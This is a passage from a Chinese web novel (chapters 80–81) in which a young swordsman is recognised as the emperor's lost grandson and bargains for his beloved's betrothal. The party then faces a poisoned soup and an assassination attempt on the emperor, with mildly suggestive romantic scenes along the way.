莫风一双眼睛直勾勾地盯着桌上喷香的饭菜,几乎都要冒绿光了。 江见未语,云桑听着那如雷一般的动静,看着莫风狼狈又可怜的模样,同情心泛滥了。 “让他吃点吧,饿死了不好。” 既解释了清楚,不是来害人的,云桑对他的偏见与防备便不剩多少了,见人饿成这样,终究是于心不忍。 江见未语,只放下了手里的碗,去盛了一碗满满当当的米饭,放在了桌子上,意思不言而喻。 莫风从未想过,自己有一天能因为一顿饭激动得两眼含泪。 没空说话,他一上桌便大吃特吃,云桑眼睁睁看着他一筷子夹走了半扇鱼肉。 第80章 第 80 章 出谷 一顿饭吃得像抢劫, 云桑看得发愣,江见则拧着眉头。 眼见莫风又是一筷子夹起了一堆腊肉,甚至还想去撕鸭腿, 江见终于看不下去了, 一筷子狠狠敲在莫风的手背上, 云桑似乎听到了筷子带起的风声。 “几年没吃饭啊吃成这样,你这样我娘子吃什么!” 被江见骂了一通, 狼吞虎咽的莫风心里一咯噔,动作迅速放慢了下来。 知道自己人安全了, 人都跟着放松了下来,甚至有些放松过了头, 此番被江见一骂,人又精神起来了。 “稍安勿躁,我吃慢点就是, 瞧你小气的~” 三两下将冒尖的饭吃完,无需江见, 莫风舔着脸自己过去添饭了。 又给自己盛了汤泡进饭里, 边吃得稀里哗啦边说话道:“真想不到你还会做饭,还做得一手好饭, 说真的我要是姑娘我都愿意嫁给你了。” 本就饿的像条狗, 饭菜又如此美味,莫风被狠狠拿捏了, 一张嘴开始胡言乱语。 江见更是被恶心到了,皱着一张脸埋汰道:“恶心死了,不想吃饭就别吃了!” 骂完,见云桑还慢悠悠地夹着菜,与莫风那厮比起来天差地别, 江见生怕她吃不饱,端起了比莫风那个饿死鬼更凶猛的架子,将菜都往她碗里堆,鸭子仅有的两个腿也被撕下来给她了。 一头野狼变作了两头,云桑看戏一般在旁边偷笑。 莫风看见那两只肥肥的鸭腿,露出意料之中的神情,但还是不免遗憾。 “你打算什么时候出去,吃完饭如何?” 吃了两碗饭,莫风浑身都暖洋洋有了力气,人也不虚了,想起了他快要得手的泼天富贵,是一点偷不了懒。 莫风以为,误会解开了,身份也确定了,江见会很乐意跟着他一起出去。 毕竟很少有人能拒绝皇子龙孙的金贵身份,江见应该也不例外。 然他想错了,江见竟轻飘飘地拒绝了。 “我什么时候说要跟你出去了,是不是幻听了?” 江见神色如常地扒着饭,语调没什么起伏。 云桑啃鸭腿的空档望了他一眼,什么也没说,只将碗里另一只鸭腿夹给他。 这是江见的事,要如何选择还要看他自己,云桑不会多加干涉。 “吃不下两只,这个给你吧。” 听这话,江见也不客气,一口下去咬掉一半的肉,吃得一脸满足。 “不是,你怎么……” 莫风百忙中抬起头来,神情迷惑极了。 “我现在过得也挺好的。” 江见言简意赅,神情不为所动,不像是扭捏才推拒的。 眼见胜利在望,就差把人领出去这最后一步,莫风哪里能放弃,不死心的他甚至放下了手里的碗,使劲浑身解数来劝。 “哎!这多好的事,泼天的富贵都到跟前了还不接,你想什么呢?” “章懿太子唯一的血脉,你回去陛下不得稀罕死,到时候要风得风要雨得雨的,再不必吃江湖上的苦了。” “举国皆知,陛下悔恨当初害死了亲儿子性命,瞧那模样,估计你要什么都答应!” 莫风吃饱了人也有了力气,为了自己的万金,嘴皮子都快磨破了,半诱半劝的,都快掏心掏肺了。 不知自己那句话说到了点子上,就见少年面上出现了意动,莫风大喜。 “果真什么都能答应?” 说这话时,云桑察觉到江见看了自己一眼,只那一眼,云桑便知晓了他在想什么。 …… 日落山峦,云桑谷陷入黑暗,一片和谐静谧。 莫风记挂着事成之后的万金,始终不愿离去,还抱着希望逗留在云桑谷,大有磨到他答应为止。 谷中暖热,不似快要接近隆冬腊月的外界,莫风本就是风餐露宿的侠客,也不挑地方,寻了个干净宽敞的地儿便躺下了。 “这地方真不错,以后老了也寻个这样的地方隐居,人生美事。” 看着夜幕漫天星子,莫风枕着双臂发出感慨,神情惬意。 来打水的江见路过听了一耳朵,看着躺在地上翘二郎腿的莫风,嗤笑道:“那是自然,别找到我们这来就成。” 云桑谷是江见生长的地方,师父说他刚发现这片山谷时里面光秃秃的什么也没有,除了遍地的云桑花和那条温暖的溪流。 二十载过去,经过师徒两的改造,这才大变了模样,变得焕然一新。 这是他耗费了心血的家,也是未来与娘子度过冬夏的世外桃源,可不能被乱七八糟的人占据了。 莫风也明白对方的意思,只嘿嘿一笑说了句不会,冲着他的背影喊了句话。 “好好考虑啊兄弟,我就在这等着你。” 反正只要自己脸皮够厚,每天还能吃上江见做的饭,莫风觉得也不亏。 说完,继续去看夜空中闪烁的星子,舒服得伸了好几个懒腰,睡过去了。 江见打好水,看着已经在地上半睡半醒的莫风,神色沉沉离开了。 洗漱过后,江见虽然心里头揣着事,但仍旧热情满满地凑过来与云桑厮磨,要不是云桑察觉出了什么,还真以为江见丝毫不在意出谷的事。 逮着一个能说话的空隙,云桑抱着江见的脖颈轻声问道:“你是不是要出谷去见陛下?” 脖颈间的湿濡停顿了一瞬,接着又继续下去,直到将她的脖子稀罕够了,江见才换了别的法子,比如做些能抚平他暴涨情绪的事情。 较云桑而言,他身躯修长宽阔的多,倾轧下来的时候,只能看见他一个人的背,至于云桑则整个人被掩得严严实实。 这是他最喜欢的姿态,但云桑觉得有些粗野,一点都不像人之间的。 明明是血肉做的,但此刻穿行着却让云桑觉得是一根烙铁,又烫又硌人。 大腿内侧的肌肤最是娇嫩,凭着经验来说,怕是过个一刻钟她就会感觉到火辣辣的痛感。 所以每次这个姿态,江见都会尽快结束,以保证她不会受伤。 “如果能同娘子光明正大在一起,更好。” 因为速战速决,江见呼吸微微急促,说话声音也不大平稳,热浪尽数喷洒在云桑后颈,吹得她身子一颤。 “打算什么时候 去,明天吗?” 很奇怪,明明费力的不是自己,但只要一开口,云桑声音也跟着乱颤。 为了方便说话,江见又凑近了些,贴在她耳朵旁,趁机勾缠了上来。 “嗯,一清早就去,很快回来。” 耳垂被吮得发痒,云桑为了躲开,扭了扭脑袋,正好又把唇送了上去。 两人间的对话便仓促而简洁地结束了,转而专心投入到每日固定的一些不正经事情中。 江见偶尔会不慎触碰到禁地,频率越来越高,云桑能感觉到,他快要忍不住了。 但他还是咬着牙坚持着,势必要等到上官大夫的神药,云桑每每看了都不知说些什么。 …… 翌日清晨,云桑特意早起了些送送他。 虽然江见的身份已经八九不离十了,然临行前云桑还是残留着些许忧虑,会想这一切是否会是陛下编造的,目的还是为了引蛇出洞,让江见这个曾经得罪过他的人伏诛。 转念一想又被她否决掉,觉得是自己多心了。 先不提那枚特殊的玉锁,若只是为了诛杀刺客,陛下何至于亲自来到这西北雪山酷寒地。 她不应当想这么多才是。 稳了稳心神,云桑看着轻装简行的江见,想起了一事叮嘱道:“听莫公子说洞窟里可能还困了人,若是可以把他们也带出去吧,死在了里头会变成孤魂野鬼,有些可怕。” 跟对莫风的态度大差不差,既不是来索命的,云桑觉得能活一个是一个。 江见懒洋洋地应了,他一向不会拒绝娘子的要求,况且这个要求于他而言很简单,只需在洞窟中吹笛将四散的人引过来便可。 晨曦洒落在绿茵茵的河谷,云桑站在开满云桑花的碎金色暖阳中,目送着江见进入洞窟。 只希望江见日后一帆风顺。 …… 严寒冬日里,长亘山脚下荒芜一片,连鸟雀的身影都没有,就像一座毫无生机的死山。 一朵朵营帐扎在山脚下,如同荒芜中开出的一朵朵白花。 仲冬时节,还是在这样清冷的西北寒山中,就算是个年轻力壮的青年也无法抵御严寒,何况是上了年纪的承宁帝。 他穿着一身玄色的氅衣,身边的王内监奉上手炉道:“陛下,拿着暖暖身子吧。” 承宁帝没有拒绝,只执着地盯着不远处皑皑雪山,神色哀恸。 “瞧瞧这茫茫雪山,光是在这都能感受到了那股冰寒之气,不知里面又是何等酷寒,可怜承徵本就家破人亡,侥幸留下一条性命竟还是在这样的艰险中长大,长大了更是在刀口上挣扎求生,惨也,苦也。” 在这逗留了已有六日,这已经不是王内监第一次听到陛下伤神感叹了,车轱辘般安慰的话已经说了一次又一次,但王内监不敢厌倦,再度重复道:“陛下勿忧,这是老天爷在庇佑九殿下,大难不死必有后福,瞧,九殿下终究是来了长安,和陛下相遇了,这正是上天的安排呀!” 虽然方式实在荒唐,这话王内监省去了。 大概人悲伤的时候就是需要有个人在旁边一遍又一遍的安慰,让自己的心情舒坦些,就算是帝王也不能免俗。 “没错,这是天神的眷顾,让朕有生之年还能弥补自己当年的过失,善哉。” 一阵寒风袭来,将承宁帝吹得缩了缩脖子,王内监见状,忙劝道:“陛下,外头冷,怕是那些个侠士今日也不一定有影,咱们回帐子里吧。” 几乎每一日,陛下都要在冷风中站一会,遥望着雪山口,期待那里有人出来。 然人倒是有出来的,不过都是那些个一无所获还险些在雪山中迷路的江湖侠士,并不是陛下所等的人。 今日大概也是一样,王内监心中暗叹,但只能陪着陛下耗着。 谁让九皇孙的事如今是陛下心中的头等大事呢。 承宁帝叹了一口气,也觉得今日在这傻等可能仍是浪费时间,转身欲归营帐。 就在转身的那一刻,羽林军中有眼里极佳的将士,一眼看到了从雪山口出来的几个人。 也是此行派出去还未归来的最后四人。 “陛下,又有人出来了,应当是最后四……不是五人!” 禀报的将士讶异的话语让刚欲离开的承宁帝顿住了脚步,猛地回头。 在几个陌生的侠客身后,隐约可见少年白色的身影,只一片袍角便可窥见那股朝气蓬勃之意。 承宁帝心绪不再平和,面色激动,染上了几分红润血气。 四个侠士中,除了那个面色较红润精神的,其余人皆是走到跟前道了句有失所托便惭愧离开了,遗憾不能将万金揽入怀中。 游侠儿本就来去如风,差事不成也是常有,他们反倒感谢江见施以援手救了他们。 皇家一下财大气粗,虽这三位侠士未办成差事,承宁帝还是小赏示意,每人赐下一袋金叶子,让他们离去了。 “幸不辱命,陛下,在下……” 轮到自己这个办好差事的人出场了,莫风抖了抖身子,意气风发上前,然话才说到一半就被江见扯回去了。 再次见到江见,那些个羽林郎虽心中知道此行跟随陛下来是做什么的,但上次在九莲山这白衣少年给他们留下的印象不太好,一见到他出现,下意识又暗自戒备了起来,握紧了手中兵刃,聚拢在承宁帝身边。 承宁帝感受到这一点,蹙了蹙眉,回头瞪了一眼那些将士,王内监则替承宁帝挥了挥拂尘,示意他们镇定。 陛下见九殿下来正高兴着呢,这群煞风景的。 “江见,你这是干嘛?” 被扯住的莫风不解,诧异道。 江见第一时间看见了那群羽林卫,心中仍保留着一丝防备,不会这样大剌剌地过去,万一遇到万箭齐发还是很麻烦的。 “我不能完全相信,怕有箭矢。” 说着人往莫风身后躲了躲,意思再明显不过。 这个话再配上这个动作,莫风也品出来了意思,瞪大了眼睛不可置信道:“我拿你当兄弟,你拿我当肉盾啊!” 江见不知可否,笑容灿烂,看得莫风肺都要气炸了。 “……承徵。” 不远处,承宁帝凝着少年的面容,只觉得越看越像,一时间没忍住,唤了一声当年为其取的名字。 山脚下寂静,承宁帝这一声分外惹眼,江见听到那两个字,也看了过来。 玉锁后的字正是念徵,娘子说,他或许应该叫,李承徵。 不过叫什么都不重要,重要的另有其事。 想着今日出谷的目的,江见对着很有可能是自己祖父的承宁帝道:“我有话要问,你走过来些。” 在未彻底解决隐患之前,江见才不想靠近那边,以防出事。 虽然不是呼来喝去的语气,然这样跟承宁帝说话,王内监已经很久很久没有遇到了,立即就条件反射斥道:“敢与陛下这样说话,你这……” 小子二字还没骂出来,王内监忽地醒神了,眼前的少年是皇孙,哪里是他可以喝斥的,立即管住了嘴,悻悻看着承宁帝,告罪道:“老奴一时失态,陛下恕罪。” 承宁帝知道身边这个老内侍的秉性,只是习惯了维护自己罢了,不是什么大事,便摆了摆手,就要上前。 “陛下……” 见承宁帝就要这样毫无防备地走上前,王内监担忧地低唤了一声,他可没忘记当初在九莲山这小子是如何蹿到陛下面前将陛下掳走的。 若是行刺,简直易如反掌。 “无碍,勿要阻拦朕。” 承宁帝却是不怕的,先不提眼前少年是自己的亲孙子,只说当初,分明有无数次机会杀了自己,但对方都没有动手,可见本就不想伤他性命,此番过去自己定然无虞。 不顾身边统领羽林卫的郭将军和王内监的忐忑,承宁帝走得毫无惧意。 最终,他走到了距离江见三步之内,站 定,细细看着少年的面容。 这是一个对承宁帝来说十分危险,但对江见来说十分有保障的距离。 这样近,就算对面万箭齐发,先死的定然是皇帝老头,而他亦可以直取对方性命。 于是,他放开了莫风,彻底与承宁帝面对面。 “承徵,你要问些什么?” 承宁帝先开了口,眼中的悔恨通通转化成慈爱,就像一个寻常人家的老人。 江见很不习惯被人这样唤,故意道:“你就这么确定我就是你要找的人,我若是告诉你我没有你说得那枚玉锁呢?” 听着江见这一番鬼扯,莫风都替他急,在山谷中他可是见到那枚玉锁了,分明就有。 承宁帝先是怔了怔,而后无所谓笑道:“无妨,流落在外那么多年,丢了也说得过去,你身上的胎记和这张酷似你娘亲的脸,便足以证明了。” 承宁帝坚信这就是太子家的小孙子,那胎记独一无二,不会错的。 江见默然,眸光划过老人笃定的面容上,觉得没甚意思,撇嘴道:“没意思,不扯了,就不骗你个老头了,我确实有枚玉锁。” 话音落,江见掏出了那枚被云桑提前塞在身上的玉锁,垂在了承宁帝眼前。 唯一的信物出现,温润的玉身在半空中转动,闪烁着细腻的光泽,隐约可见上面的一个徵字。 压抑在心底的悔恨一瞬间冒了出来,染湿了他有些昏沉的老眼,他伸手去够,去触摸太子留下的唯一痕迹。 江见并未阻拦承宁帝,也许是对这个悲伤的老人产生了些同情和怜悯。 他看见承宁帝拭了一把泪,便没好意思追问接下来的话。 “是了,没错,你就是朕的孙儿,你的父亲是朕之嫡长子,朕是你的祖父。” 少顷,承宁帝心绪稍微平和,满目热忱地看着眼前的少年一字一句道。 江见并不是很关心他说得一堆煽情认亲的话,只问出了今日最想知道的问题。 “既如此,那今日我提出什么要求你都会答应我?” 涉及到最关键的一环,江见神情严肃,心中隐隐期待。 “自然,你想要什么,朕都允你。” 无论是什么,哪怕是储君之位,承宁帝都可以接受。 这个位置,本就是太子一脉应得的,他不觉得荒唐,只是觉得这孩子于山野间长大,需要雕琢一番才能胜任。 “那我要你解除我娘子和李承钰的婚约,改成我。” 承宁帝一懵,下意识问道:“你娘子是谁?” 他如今满心都是孙儿,一瞬间都忘了被江见“顺手”掳走的傅家丫头,一时间没反应过来。 “陛下,是傅家大小姐。” 莫风在一旁小声提醒,承宁帝恍如初醒,什么都想起来了。 心里想了一圈又一圈,最后听到这话有些懵,然转念一想,这事似乎早有征兆了。 “到底行不行?” 江见又在后面催了一声,神情暗藏紧张。 承宁帝连储君之位都能舍,只是一桩婚事又有何难,他当即大手一挥,激昂道:“行,自然没问题,只要你同我回长安,我立即颁旨回去,令英王府退还婚书,再给你与傅家丫头赐婚!” 一番话说到了江见心坎上,只有一句他展现了犹豫。 “还要跟你回去?” 江见蹙眉,有些不情愿,他觉得自己和娘子在云桑谷过得挺好的,就他们两人,没有任何人打扰,多好。 承宁帝也看出了这丝不愿,掌握了孙子的一些心意,他动了个小心思道:“自然,你既然喜欢傅家丫头,要与她成婚,难道不应当在长安举办一场盛大的婚仪吗?让天下所有人都知道你们结成了夫妻,接受四方祝福吗?” 这话怎么听怎么觉得有理,实话说,江见被狠狠诱惑到了,露出动摇的神色。 承宁帝再接再励道:“女子都希望自己的婚仪华丽盛大,若没有一场盛大的婚仪,傅家丫头与你在这里过日子又算什么,这是一个女子的体面,怎能不要?” “傅卿还在长安等着女儿呢,你确定不回去?” 只能说,老辣如承宁帝,已经从各个方面击破了江见的心理防线,只待鱼儿上钩。 然耐心等了几息,以为会等来孙儿的点头,但看见人头一扭就往回走。 承宁帝一惊,迈步就要追上去,口中焦灼道:“承徵你要去何处?” 承宁帝以为孙儿没有同意,就要打道回府,心急如焚。 江见听到声音,回头瞧见承宁帝面色,愣了一下,留话道:“自是回去接我娘子。” 一句话犹如定心丸,承宁帝立即安下心来,也不追了。 “还有,不用等我们。” 承宁帝则不赞同,慈和言:“无碍,朕等着你们再出来,一起回家。” 江见觉得回家这词怎么听怎么古怪,但他没空去纠结这个,人很快再次消失在雪山中。 待到彻底看不见人影,承宁帝激动地一边搓手一边在原地转圈圈,一张脸压不住笑。 “恭贺陛下寻回九殿下~” 王内监最通晓圣意,忙不迭站出来第一个道喜。 羽林卫也不是那等扫兴的傻子,见已经水落石出,皆拱手而贺道:“恭贺陛下寻回九殿下!” 承宁帝大喜,看着满山清寒荒芜都有了春色,豪爽道:“哈哈哈好,通通有赏!” …… 众人欢庆间,谁都没注意到,羽林卫副将张廷神色异样,思索着如何将消息传回长安。 众人更不知,五日后,一封秘密信件被送到长安景王府,看完信件的景王神色阴沉,独自在檐下站了许久,召来长子做出了个骇人的决定。 二哥英王这块骨头便已足够难啃,如今大哥在外的遗孤又被寻了回来,景王觉得他的胜算越来越渺茫了,或许自己应该走些不寻常的路。 毕竟史书是胜利者书写的,只要他胜了! “来人,请五弟过府一叙。” 管家领命退下,景王望着长安的天,只觉得要变了。 第 81 章【VIP】 第81章 第 81 章 脱壳 如江见走前说得那样, 他回来得很快,甚至还没有到午饭时间。 当时云桑正脱了鞋袜在暖溪中玩水,想着江见应当不会这么快回来, 便托着清澈溪水下的鹅卵石, 倒也悠哉有趣。 流云好像知道自己来云桑谷就是度假享福的, 每日快活得要命,就吃、睡、跑这三样事。 对了, 还有来找云桑要零嘴,世上再没有一匹马比流云还要自在了。 许是太入神了, 云桑都没有注意到洞窟口的动静,只安静对着溪水出神。 直到一粒小石子落入她面前的溪水中, 水花溅起,发出咚的一声轻响,云桑如梦初醒。 她猛然回头, 看见了不知何时回来的江见,什么话都不必说, 面上的笑便先冒出来了。 “你回来啦~” 鞋袜都忘了, 赤着脚就起身朝着江见奔去。 见状,江见飞奔过来, 将扑到怀中的云桑打横抱起, 又放回了溪边。 “别乱跑,小心地上石子硌脚, 弄伤了到时候又赖我。” 关心着,话题又扯到了些没脸没皮的上面,云桑差点气笑了。 坐回原地,江见先是捏着她的脚在溪水里又洗了一边,再从从身上掏出来一块粉色的帕子, 开始给她擦拭脚上的水珠。 双脚变得干爽后,江见动作麻利地将她的鞋袜套上,期间也没忘记捏几下她的脚,云桑捶了他好几下。 一套动作行云流水般的娴熟,江见是常干这些事的。 “怎样,出去聊得如何?” 既然能面色平静地回来,那说明莫风所说的一切都是真的,江见的身份被确定了。 “还行,待会我们便回长安。” 牵着江见站起来,就听到他语调稀松平常地说着猝不及防的决定,云桑神色惊 异。 “这么快就决定了,是陛下让你回去的?” 是了,认回了孙子,是要带回长安的,只让云桑惊奇的是,江见会如此配合,毕竟他看起来不是很在乎皇孙这个身份,再云桑谷过得有滋有味。 两人手牵着手,江见慢吞吞道:“那老头子是这样想的,本来我也没想回去,但他有几句话说得很在理,我们应该回去,光明正大地办一场婚仪,让世人皆知你我二人是夫妻,痛痛快快地活在阳光下。” 烂漫日光倾泻而下,江见唇边噙着淡笑,眼神透着欢喜。 云桑了然,这不仅是江见想要的,亦是她所向往的。 “那我先去换冬衣了。” 外面又是雪山又是寒冬的,她可不能穿着这一身春衫出去。 江见道了声好,想着师父也走了,没人管这些鸡鸭,便打算先将它们放出来,这样没人管也能活。 都是口粮,可不能一回来发现全死了。 就这样,两人一个去换衣裳,一个去给鸡鸭善后,也不需要收拾太多东西,轻装简行便上路了。 内力这东西实在神奇,每回被江见的内力熏染,她便止不住的犯困,这次依然如此,且睡得时间还挺长,以致于醒来时对上了一堆人。 首先就是面容沉肃的承宁帝,然后就是他身边的王内监,最后是四面八方候命等待出发的羽林卫。 刚醒的迟钝立即就被惊飞了,慌里慌张地从江见身上下来,手衣都来不及脱下,就挺着两个萝卜一样的手给陛下见礼,模样十分滑稽。 她看见了,王内监在偷笑,后面的羽林郎也有想笑的,但拼命忍住了。 但江见可不会忍,哈哈大笑着走到她身旁,指着她带着手衣的两只手说大萝卜行礼。 一时被气着了,云桑也忘了在场还有陛下,当即梆梆给了江见两圈,打得人笑得更欢畅了。 甚至还有许多羽林卫也跟着笑了。 云桑臊着一张脸对承宁帝告罪道:“臣女失态,陛下见笑了。” 只是小儿女之间的嬉闹,承宁帝自然不会计较,反而因为孙子的笑脸而心情明朗。 “人既出来了,便出发回长安吧,你爹可是在家好等。” 提到爹爹,云桑心跟着酸软几息,想到日后鱼与熊掌可兼得,她便感恩这玄奥无常的命运。 一朵朵白色的营帐被将士火速收起,就等着出山呢。 此番巡游,承宁帝带了三千羽林卫出来,皇城中留下了两万七,一路浩浩荡荡,引得路过州县百姓侧目不已。 抱着定要接人回来的心志,承宁帝另外备了一驾金辂车,周身饰金莲,珠玉叮当,透着天皇贵胄独有的华贵。 这是天子独有的座驾,只有当初的章懿太子和已经逝去的魏皇后享过此殊荣,被赐坐金辂车。 故而云桑跟着王内监过去,看见这驾车时,一时犯起了踌躇。 然江见可不晓得什么礼制,什么人乘什么车的规矩,只觉得这车驾气派又精致,很适合娘子一路乘坐,见云桑愣神,江见戳了戳她道:“这车好,快上去啊娘子~” 既然是王内监领他们过来的,那就是陛下的意思,云桑看着这驾金辂车心中虽惊诧,但还是心安理得地上去了。 江见想跟着上来的,奈何王内监唤住了他。 “九殿下莫急,陛下让你过去拿那枚玉锁呢,还是先去陛下那里一趟吧。” 一只脚刚迈上车,江见被迫停下,听了这个理由,觉得牵强。 “随便喊个人帮我送来不就行了?” 江见未能明白其中的深意,云桑却是听出了意思,不过是想同江见说些话罢了。 怕他像根木头,云桑回头道:“你去一趟吧,反正也不麻烦。” 被云桑这么一劝,江见便也没有反驳,跟着王内监走了。 云桑踏进金辂车,炭火的热意拂在脸上,扫去了山中的凄清。 车内俨然一个一应俱全的小房间,榻案皆有,温暖又舒适,云桑给自己倒了一盏热茶,整个人都放松了下来。 队伍很快就启程了,流云被交给了羽林卫照料,自在地跟着其他马匹一道走,慢悠悠走着,若不是冬日山中没有鲜嫩绿草,怕是还要低头啃两口。 果然如云桑所料,去拿玉锁的江见没有立即回来,应是被陛下留下说话了。 莫风也跟着队伍一道,因为他要跟着陛下回去领他应得的万金。 云桑探头出去看时,就看见莫风正跟几个年轻面嫩的羽林郎吹嘘着他的江湖赫赫威名,偏生这又是那些年轻郎将最爱听的奇闻轶事,很是聊得来。 大约两刻钟的时间,江见回来了,看脸色十分疲惫,像是干了多大的事累着了。 云桑早早脱去了她的斗篷,在车内烤着炭火,见他这副模样笑问道:“怎么取个东西累成这样,莫不是陛下让你去搬山了?” 先是叹了一声,江见挤过来贴在云桑身上,长吁短叹。 “差不多了,逮着我说了几箩筐的话,有我那倒霉父母的事,长安的事,还一直追问我从小到大的日子,我本不觉得多苦,但他那神情,就好像我是吃不饱穿不暖的乞丐似的,一通下来我是又困又累。” 将自身的重量浅浅地压在少女软绵绵的身上,江见喋喋不休地嘀咕着,云桑轻笑着从果盒里拿出一个红枣,填进他嘴里道:“那你吃个枣,好好补补气血。” 既是娘子给的,自然什么都是香的,江见将那颗枣衔进嘴中,咀嚼的同时将脑袋歪在云桑脖颈间,得寸进尺道:“ 这个可补不了我的气血,要娘子。” 被江见拱着脖子,又说着这样隐晦但火热的话,云桑觉得身上更热了。 这及时提醒了云桑,这里不是只有他们二人的云桑谷,此处人多眼杂,可不是江见随意胡来的地方。 推开他就要贴上来的脸,云桑肃着脸叮嘱道:“我告诉你,外面都是人,你不可再像谷中那样,被人瞧见了不得了!” 这一驾金辂车要是晃起来,除非是傻子才看不出来,营帐里更是不行,被火光灯光一照,更是无所遁形。 反正只要还在路上,云桑坚决不能让江见胡来。 “那背着人亲亲可以吗?” 江见知道,娘子虽是个脾气很好的姑娘,但不是所有的事都由着他的,一旦遇上要紧的,是半步也不会让,像个胀气的河豚,坚决异常。 江见自然也不喜欢他和娘子的亲昵事被外人看了去,但若是亲亲都不能,那实在是太惨了。 被那双漆黑如点墨的眼眸盯着,云桑心神摇曳,饮了一口茶水平稳心绪。 “可以,只千万不能被旁人瞧去。” 这给了江见很大的安慰,他趁热打铁,立即扑上去索要了。 被吻住的云桑总是怕有人将车门打开,将她和江见看了去,心惊胆颤不说,眼神也飘忽着。 江见意识到了她的不专心,眼尾晕红,带着笑往车门那瞥了一眼道:“没人会进来的,娘子你太紧张了,嘴巴张开些……” 是了,陛下不会贸然进来,王内监最多是在外面请示,别人就更不可能了,云桑觉得自己的担心太多余了。 放平了心态,云桑扭回了注意力,依着江见的话照做,二人很快便投入了进去。 …… 此番陛下只是打着巡游的幌子,所以很少往百姓中间凑,也不想扰民引起沸腾,羽林卫多行于郊外山野这等清净之处。 这就给了一些心存歹意的人可趁之机。 大约是半月后某一日夜里,云桑与江见在陛下的帐子里用了晚饭,云桑先回来了,但江见又被陛下拉着说了会话,没能跟着她一起回去。 云桑理解,人老了就是这样,尤其对上刚寻回来的孙子,陛下总是想同江见多说几句。 将身上斗篷脱下,随行的宫人送来了一大碗甜羹,云桑在陛下那吃了不少鹿肉,有些撑,想着等消消食再喝。 今夜江见回来地很快,还没将九连环解开,就见人老鼠一般冲进来了。 “真受不了,看着挺严肃一老头,怎么话起家常来这么厉害,尤其又喝了点酒,更絮叨了,唠叨得我头都大了,尽说些我那倒霉鬼父亲的过往,我都要听吐了。” 虽然江见小时候也向往过父母,也感恩两人将他带到这个世界上来,给予他生命,然他从未见过他们,更遑论浓厚的感情,做不出热烈盈眶的模样。 于他而言,父母是与他拥有最亲近血缘的陌生人。 “人老了都爱唠叨,何况是陛下这般,失手害死了章懿太子,便更伤怀,以前只能暗自神伤,现在有了你,自是有了倾诉的对象。” “便多担待些,若实在不喜就当耳旁风,或者悄悄岔开话题。” 这是云桑跟爹爹学的,爹爹说遇到那些个话不投机还要缠着他不放的同僚时,便用这个法子。 听爹爹说得多了,云桑也就学会了。 “九殿下。” 江见也觉得此法不错,正点着头,外面传来了王内监的声音,是来送甜羹的。 大约是前几日从她这里知道了江见爱吃甜食,陛下便时常送来些甜口的食物。 没人惹他时,江见是最和善不过的,笑嘻嘻地去同王内监打招呼,因为在乡野长大,丝毫没有什么架子,还热情烂漫,这样的孩子最套长辈喜欢,王内监被江见一张嘴哄得笑逐颜开,带着笑脸回去了。 甜羹送到了江见心坎上,他还没坐下,便吞了几口,余光瞥见云桑手边一口未动的甜羹,催促道:“娘子怎么不喝,等会凉了吃了不好。” 云桑指了指自己还微鼓的肚子,叹气道:“方才吃太撑了,还没消化,暂时喝不下去,还是不勉强了。” 听这话,江见便不催了,只喝着自己的甜羹,含糊不清地赞叹道:“皇帝的厨子果然不一样,一碗甜羹也做得这样好,感觉比我还……噗!” 上一刻还在捧着碗轻快地喝粥,下一刻却忽地呕出来一滩血,刺目的红映在眼中,云桑吓了一条,也不玩九连环了,随手一掷扔在了地上,琉璃环碎裂开了。 “江见,你这是怎么了!” 她从未见过江见如此模样,一瞬间心绪乱起来。 “粥里有毒……” “娘子千万别喝。” 艰难地说完江见运转内力,忍着剧痛将毒血排出来,以致于云桑见他后面又吐了不少带着黑色的血。 往日鲜妍红润的面色也变得惨败无比,额间汗珠迅速凝结,唇色煞白。 几口黑血吐出来,江见撑着地喘息,安慰她道:“好在我有内力,毒血都被我吐出去了,死不了,娘子可千万别哭。” 听到这句保证,云桑才忍回即将掉下来的泪珠,转而嘀咕道:“粥是陛下身边的王内监送来的,他是自小跟着陛下的老人,最是忠心,定不是凶手,那陛下那边……” 如今陛下可是他们的契机,若是真丢了性命,不止是他们的麻烦,也是长安的动荡。 念此,云桑率先奔出去,想要提醒陛下勿要饮那甜羹。 江见不放心,撑着身子跟着跑了出来,正巧看见那个羽林卫姚副将扯住陛下袖袍,挥刀要砍的姿态。 云桑瞳孔紧缩,只觉天要塌了。 …… 时间回到一盏茶前,承宁帝看着少年的背影消失,目光有些恋恋不舍。 王内监奉上了一碗甜羹,承宁帝只是看了一眼便恹恹无力道:“油腻的东西吃多了,胃有些难受,便不吃粥了,拿下去吧。” 王内监应了一声是,又将粥原样端出去了。 外面坐在羽林郎中吃饼子的姚副将听见了陛下肠胃不适并未饮粥,神色蓦地变了。 九殿下那边已然动了手,今夜若不能将陛下一道解决,他暴露也是早晚的事。 这会坏了王爷的大计! 想到后果,姚副将咬着牙,站起身朝着陛下的营帐朗声道:“陛下,末将有事禀报,臣刚才擒住了一名意欲行刺杀之事的细作!” 一句话将清寒的夜冲得火热起来,四下郎将皆站了起来,神色警惕。 羽林卫护卫陛下,不怕明刀明枪,就怕这样见不得人的手段,神不知鬼不觉就害了人性命,还让他们一时寻不到。 明亮的营帐中,姚副将看见陛下的身影动了起来,最终跨了出来。 “细作在何处?” 这样一不小心便要人性命的事,承宁帝自不会怠慢,批着外袍便出来了。 姚副将也是第一回干这样诛九族的大事,见陛下出来,他紧张地咽了一口唾沫,心中生了一丝退意,然一想到自己的弟弟还在景王手下效力,双亲也在景王手中,他定了定心神。 “请陛下随末将来。” 姚坤做羽林卫副将也有个五六年了,当初还是自己将人点上去的,承宁帝没多作怀疑,径直朝他走了过去。 谁承想,便是靠近他的那一刻,承宁帝忽见他露出一副凶相,紧接着呛的一声长刀出鞘,就要向他脖颈间劈来…… “陛下!” “保护陛下啊!” 这一瞬间,无数人惊叫出声,往承宁帝跟前扑,尤其是王内监,嗓子都喊破音了。 “陛下小心!” 这也是刚来到这里的云桑看见的一幕,也跟着惊呼出声。 长刀的刀刃被冷寂的月色映出雪色的寒光,眼看着就要劈在陛下脆弱的脖颈上,云桑只觉耳畔飞过一道银光,带着冬夜彻骨的冷风,将她吹得瑟缩了一下。 模糊的夜色中,那抹更细小的银光飞快划破空气来到了长刀前,只听一声清脆但又刺耳的金属碰撞声,刀身发生了偏转,没有落在承宁帝脆弱的脖颈上,而是割破了承宁帝宽大的衣袖,跌坐在地上的同时,也逃脱了姚副将的桎梏。 丧失了最佳良机的姚副将被终于赶上来救驾的郭将军一脚踹翻在地上,上去就是在姚副将腿上砍了两刀,确保他无力逃跑,又经验老道地扭了他的下巴,防止他咬舌或者吞毒什么的。 